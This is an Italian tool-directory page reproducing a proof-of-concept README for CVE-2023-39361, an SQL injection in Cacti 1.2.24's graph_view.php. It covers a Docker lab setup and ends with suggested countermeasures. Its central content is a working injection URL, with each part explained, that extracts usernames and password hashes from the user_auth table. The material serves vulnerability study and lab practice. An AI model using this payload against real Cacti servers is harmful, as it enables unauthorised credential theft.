Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-39361 — Proof-of-concept exploit per Cacti 1.2.24 che sfrutta una SQL injection in graph_view.php, portando a remote code execution, con Docker-based lab setup ed esempi dettagliati di payload. | Kitploit
Strumenti/GitHubGitHub/chodeokcheol/cve-2023-39361
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubchodeokcheol/cve-2023-39361

CVE-2023-39361

Proof-of-concept exploit per Cacti 1.2.24 che sfrutta una SQL injection in graph_view.php, portando a remote code execution, con Docker-based lab setup ed esempi dettagliati di payload.

Vedi Repository
1 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Cacti graph_view.php SQL Injection Leads to RCE [CVE-2023-39361]

[ WHS 3기 ] - 남기찬_7342 (ChoDeokCheol)


Riepilogo

  • Esiste una vulnerabilità nella funzione grow_right_pane_tree del file graph_view.php nel server Cacti 1.2.24.
  • Impostando il parametro action su tree_content, esiste il parametro rfilter che è un input utente.
  • Il parametro rfilter viene convalidato attraverso la funzione html_validate_tree_vars, ma tale convalida verifica solo se si tratta di un**'espressione regolare valida**.
  • Alla fine, il valore di rfilter viene inserito in una query SQL, consentendo l'iniezione di codice.
  • È possibile estrarre valori come id, username, ecc. (utilizzato in questo PoC).

Prerequisiti

  • Verificare l'installazione e la versione di Docker Compose tramite docker-compose -v.
  • Preparare i componenti Docker necessari per la configurazione CVE-2023-39361 (yml o immagini, ecc.).

Configurazione dell'ambiente ed esecuzione

  • Utilizzare docker-compose.yml e entrypoint.sh da vulhub/cacti/CVE-2023-39361.
  • Costruire l'ambiente PoC con docker compose up -d. (Immagine: cacti:1.2.24)
  • Costruire il server Cacti con l'indirizzo localhost 8080:80 configurato nel file yml. Costruzione ambiente PoC Docker Costruzione server Cacti

PoC della vulnerabilità

  • Questa vulnerabilità si verifica quando nelle impostazioni di autenticazione è consentito anche agli utenti normali (guest) di visualizzare i grafici.

  • Questa vulnerabilità può essere verificata con i seguenti input di parametri:

    • %20OR%20""="((" : Codice SQL injection rappresentativo. Forza una condizione vera tramite OR.
    • %20UNION%20SELECT% : Recupera un risultato arbitrario desiderato.
    • (select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201) : Richiede i valori id#username#password.
    • (select%20user()),(select%20version()) : Recupera l'utente/versione del database.
    • %23 : Si tratta di #, quindi la successiva istruzione SQL viene neutralizzata.

http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23


Risultati

Esecuzione di BurpSuite e risposta Si può notare che la risposta è stata data come richiesto.


Riepilogo

Gli attacchi di SQL injection si verificano principalmente quando si accettano input utente durante l'interazione con il server. Con questo attacco di SQL injection, la riservatezza del database è stata compromessa e si è potuto osservare la fuga di dati.
Come contromisura per questa SQL injection, è possibile verificare una convalida di base dei valori in whitelist per rfilter, o eseguire l'escape dei caratteri speciali come (", ', ;, ...). Oppure, si possono apportare miglioramenti utilizzando librerie ORM come Doctrine per l'accesso al database.

Scarica lo strumento